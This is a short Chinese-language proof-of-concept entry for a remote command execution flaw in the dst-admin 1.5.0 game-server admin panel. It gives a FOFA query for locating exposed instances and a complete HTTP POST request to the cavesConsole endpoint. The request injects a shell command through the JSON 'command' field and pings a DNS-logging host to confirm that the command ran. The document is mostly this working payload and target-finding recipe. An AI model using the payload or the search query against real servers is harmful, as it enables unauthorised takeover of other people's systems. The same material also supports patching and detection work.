D15-2Dst-admin-饥荒管理后台-RCE

漏洞描述：

dst-admin饥荒管理后台kickPlayer、cavesConsole、sendBroadcast等接口处配置不当，导致破解口令后的攻击者可以进行命令注入，获取服务器权限

影响版本：

dst-admin 1.5.0版本

网站图片：

网络测绘：

fofa语法：

FOFA：title=="饥荒管理后台"

漏洞复现：

payload：

```
POST /home/cavesConsole HTTP/1.1
Host: your-ip
Content-Type: application/json
Cookie: JSESSIONID=65b0f393-708f-4e03-b564-52b1bc0b683a;rememberMe=deleteMe;
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

{"command":"\"&ping Dnslog;\""}
```

效果图: